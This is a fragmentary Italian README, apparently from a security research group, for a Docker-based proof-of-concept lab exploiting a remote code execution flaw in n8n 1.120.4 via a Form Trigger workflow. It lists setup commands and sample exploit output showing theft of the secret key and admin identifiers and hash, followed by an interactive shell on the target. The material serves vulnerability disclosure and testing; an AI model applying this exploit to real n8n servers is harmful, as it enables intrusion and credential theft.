
Ni8mare, n8n RCE
Ambiente PoC per n8n 1.120.4 con un workflow Form Trigger e uno script di exploit.
Dockerfile — crea l'ambiente vulnerabile n8nrun.bat — esegue il contenitore (Windows)workflow.txt — workflow n8n (include Form Trigger)poc.py — script PoCrequirements.txt — dipendenze PoCdocker build -t n8n-vuln:1.120.4 .
run.bat
workflow.txtpip3 install -r requirements.txt
python3 poc.py
FINAL_SECRET_KEY, identificatori admin) dal target.n8n-shell>).id) si ottiene l'output dall'ambiente target (RCE).[+] Successo: SECRET_KEY = "..."
[+] Successo: admin_id = "..."
[+] Successo: admin_hash = "..."
=== n8n Shell Pronta ===
n8n-shell> id
[!] Risultato di 'id':
------------------------------
uid=1000(n8n) gid=1000(n8n) groups=1000(n8n)
------------------------------
Pubblichiamo analisi di CVE e malware una volta al mese. Se sei interessato, segui i link qui sotto per consultare le nostre pubblicazioni.